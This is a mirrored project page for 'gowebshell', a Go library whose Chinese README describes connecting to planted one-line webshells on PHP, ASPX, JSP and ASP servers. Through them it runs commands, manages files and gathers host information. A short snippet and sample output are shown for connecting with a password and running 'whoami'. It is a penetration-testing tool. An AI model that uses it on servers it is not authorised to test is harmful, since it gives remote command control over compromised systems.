Coder Social home page Coder Social logo

gowebshell's Introduction

gowebshell

使用go连接常见一句话木马,进行文件管理和命令执行,获取基本信息等功能

快速使用

go get github.com/zyylhn/gowebshell
//必须指定一句地址,和链接密码,其他选择性指定
webshell,_:=gowebshell.NewWebshell("http://172.16.95.24/test.php","cc123","",nil)
//执行命令,必须要执行命令的目录,命令和使用的shell,windows只能使用cmd,和脚本类型
cmd,_:=webshell.ExecCommand("/usr","whoami","/bin/sh", gowebshell.PhpScriptCmd,nil)
//命令结果存在cmd的result中
fmt.Println(cmd.Result)
//获取基本信息,指定脚本类型
info,_:=webshell.GetBaseInfo(gowebshell.JspScriptBaseInfo,nil)
fmt.Println(info)

以上会输出

www-data
&{/var/www/html / Linux kali 5.10.0-kali3-amd64 #1 SMP Debian 5.10.13-1kali1 (2021-02-08) x86_64 www-data}

TODO

  • 支持php
  • 支持aspx
    • jscript执行
    • C#执行
  • 支持jsp
  • 支持asp
  • 获取基本信息
  • 执行命令
  • 文件管理

gowebshell's People

Contributors

zyylhn avatar

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.